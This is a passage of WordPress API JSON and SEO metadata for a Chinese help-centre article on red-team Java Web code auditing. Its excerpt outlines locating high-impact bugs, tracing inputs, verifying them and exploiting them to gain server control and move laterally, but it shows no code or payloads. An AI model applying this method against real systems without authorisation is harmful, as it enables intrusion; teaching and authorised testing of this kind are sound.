Web\u4ee3\u7801\u5ba1\u8ba1，\u6838\u5fc3\u903b\u8f91\u662f\u4ee5\u201c\u5feb\u901f\u6253\u70b9\u3001\u83b7\u53d6\u6743\u9650\u3001\u6a2a\u5411\u6269\u5c55\u201d\u4e3a\u552f\u4e00\u76ee\u6807，\u6452\u5f03\u65e0\u610f\u4e49\u7684\u4f4e\u5371\u6f0f\u6d1e\u6316\u6398，\u805a\u7126\u9ad8\u5371\u5bb3\u3001\u6613\u5229\u7528\u3001\u80fd\u76f4\u63a5\u843d\u5730\u7684\u6f0f\u6d1e\u70b9，\u901a\u8fc7\u201c\u5173\u952e\u8bcd\u5b9a\u4f4d-\u8f93\u5165\u6eaf\u6e90-\u6f0f\u6d1e\u9a8c\u8bc1-\u5b9e\u6218\u5229\u7528\u201d\u7684\u95ed\u73af\u6d41\u7a0b，\u5728\u6700\u77ed\u65f6\u95f4\u5185\u5b9e\u73b0\u4ece\u4ee3<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[6998,6999,99,1583,87,43,823],"topic":[],"class_list":["post-66171","post","type-post","status-publish","format-standard","hentry","category-server","tag-6998","tag-6999","tag-java","tag-java-web","tag-87","tag-43","tag-823"],"yoast_head":"\n\u7ea2\u961f\u5229\u5203\uff1aJava Web\u4ee3\u7801\u5ba1\u8ba1\u5feb\u901f\u6253\u70b9\u5b9e\u6218\u2014\u2014\u4ece\u6f0f\u6d1e\u5b9a\u4f4d\u5230\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u7cbe\u51c6\u7a81\u7834 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/66171.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u7ea2\u961f\u5229\u5203\uff1aJava Web\u4ee3\u7801\u5ba1\u8ba1\u5feb\u901f\u6253\u70b9\u5b9e\u6218\u2014\u2014\u4ece\u6f0f\u6d1e\u5b9a\u4f4d\u5230\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u7cbe\u51c6\u7a81\u7834 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u5728\u7ea2\u961f\u653b\u9632\u5b9e\u6218\u4e2d，Java Web\u4f5c\u4e3a\u4f01\u4e1a\u7ea7\u5e94\u7528\u7684\u4e3b\u6d41\u6280\u672f\u6808，\u662f\u6e17\u900f\u6d4b\u8bd5\u7684\u6838\u5fc3\u76ee\u6807\u4e4b\u4e00\u3002\u4e0e\u767d\u76d2\u5ba1\u8ba1\u7684\u201c\u5168\u9762\u626b\u6f0f\u3001\u5408\u89c4\u6574\u6539\u201d\u4e0d\u540c，\u7ea2\u961f\u89c6\u89d2\u4e0b\u7684Java Web\u4ee3\u7801\u5ba1\u8ba1，\u6838\u5fc3\u903b\u8f91\u662f\u4ee5\u201c\u5feb\u901f\u6253\u70b9\u3001\u83b7\u53d6\u6743\u9650\u3001\u6a2a\u5411\u6269\u5c55\u201d\u4e3a\u552f\u4e00\u76ee\u6807，\u6452\u5f03\u65e0\u610f\u4e49\u7684\u4f4e\u5371\u6f0f\u6d1e\u6316\u6398，\u805a\u7126\u9ad8\u5371\u5bb3\u3001\u6613\u5229\u7528\u3001\u80fd\u76f4\u63a5\u843d\u5730\u7684\u6f0f\u6d1e\u70b9，\u901a\u8fc7\u201c\u5173\u952e\u8bcd\u5b9a\u4f4d-\u8f93\u5165\u6eaf\u6e90-\u6f0f\u6d1e\u9a8c\u8bc1-\u5b9e\u6218\u5229\u7528\u201d\u7684\u95ed\u73af\u6d41\u7a0b，\u5728\u6700\u77ed\u65f6\u95f4\u5185\u5b9e\u73b0\u4ece\u4ee3\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/66171.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-26T03:48:57+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/66171.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/66171.html\",\"name\":\"\u7ea2\u961f\u5229\u5203\uff1aJava Web\u4ee3\u7801\u5ba1\u8ba1\u5feb\u901f\u6253\u70b9\u5b9e\u6218\u2014\u2014\u4ece\u6f0f\u6d1e\u5b9a\u4f4d\u5230\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u7cbe\u51c6\u7a81\u7834 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-01-26T03:48:57+00:00\",\"dateModified\":\"2026-01-26T03:48:57+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/66171.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/66171.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/66171.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u7ea2\u961f\u5229\u5203\uff1aJava Web\u4ee3\u7801\u5ba1\u8ba1\u5feb\u901f\u6253\u70b9\u5b9e\u6218\u2014\u2014\u4ece\u6f0f\u6d1e\u5b9a\u4f4d\u5230\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u7cbe\u51c6\u7a81\u7834\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u7ea2\u961f\u5229\u5203\uff1aJava Web\u4ee3\u7801\u5ba1\u8ba1\u5feb\u901f\u6253\u70b9\u5b9e\u6218\u2014\u2014\u4ece\u6f0f\u6d1e\u5b9a\u4f4d\u5230\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u7cbe\u51c6\u7a81\u7834 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/66171.html","og_locale":"zh_CN","og_type":"article","og_title":"\u7ea2\u961f\u5229\u5203\uff1aJava Web\u4ee3\u7801\u5ba1\u8ba1\u5feb\u901f\u6253\u70b9\u5b9e\u6218\u2014\u2014\u4ece\u6f0f\u6d1e\u5b9a\u4f4d\u5230\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u7cbe\u51c6\u7a81\u7834 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u5728\u7ea2\u961f\u653b\u9632\u5b9e\u6218\u4e2d，Java Web\u4f5c\u4e3a\u4f01\u4e1a\u7ea7\u5e94\u7528\u7684\u4e3b\u6d41\u6280\u672f\u6808，\u662f\u6e17\u900f\u6d4b\u8bd5\u7684\u6838\u5fc3\u76ee\u6807\u4e4b\u4e00\u3002\u4e0e\u767d\u76d2\u5ba1\u8ba1\u7684\u201c\u5168\u9762\u626b\u6f0f\u3001\u5408\u89c4\u6574\u6539\u201d\u4e0d\u540c，\u7ea2\u961f\u89c6\u89d2\u4e0b\u7684Java Web\u4ee3\u7801\u5ba1\u8ba1，\u6838\u5fc3\u903b\u8f91\u662f\u4ee5\u201c\u5feb\u901f\u6253\u70b9\u3001\u83b7\u53d6\u6743\u9650\u3001\u6a2a\u5411\u6269\u5c55\u201d\u4e3a\u552f\u4e00\u76ee\u6807，\u6452\u5f03\u65e0\u610f\u4e49\u7684\u4f4e\u5371\u6f0f\u6d1e\u6316\u6398，\u805a\u7126\u9ad8\u5371\u5bb3\u3001\u6613\u5229\u7528\u3001\u80fd\u76f4\u63a5\u843d\u5730\u7684\u6f0f\u6d1e\u70b9，\u901a\u8fc7\u201c\u5173\u952e\u8bcd\u5b9a\u4f4d-\u8f93\u5165\u6eaf\u6e90-\u6f0f\u6d1e\u9a8c\u8bc1-\u5b9e\u6218\u5229\u7528\u201d\u7684\u95ed\u73af\u6d41\u7a0b，\u5728\u6700\u77ed\u65f6\u95f4\u5185\u5b9e\u73b0\u4ece\u4ee3","og_url":"https:\/\/www.wsisp.com\/helps\/66171.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-01-26T03:48:57+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"13 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/66171.html","url":"https:\/\/www.wsisp.com\/helps\/66171.html","name":"\u7ea2\u961f\u5229\u5203\uff1aJava Web\u4ee3\u7801\u5ba1\u8ba1\u5feb\u901f\u6253\u70b9\u5b9e\u6218\u2014\u2014\u4ece\u6f0f\u6d1e\u5b9a\u4f4d\u5230\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u7cbe\u51c6\u7a81\u7834 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-01-26T03:48:57+00:00","dateModified":"2026-01-26T03:48:57+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/66171.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/66171.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/66171.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"\u7ea2\u961f\u5229\u5203\uff1aJava Web\u4ee3\u7801\u5ba1\u8ba1\u5feb\u901f\u6253\u70b9\u5b9e\u6218\u2014\u2014\u4ece\u6f0f\u6d1e\u5b9a\u4f4d\u5230\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u7cbe\u51c6\u7a81\u7834"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/66171","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=66171"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/66171\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=66171"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=66171"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=66171"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=66171"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}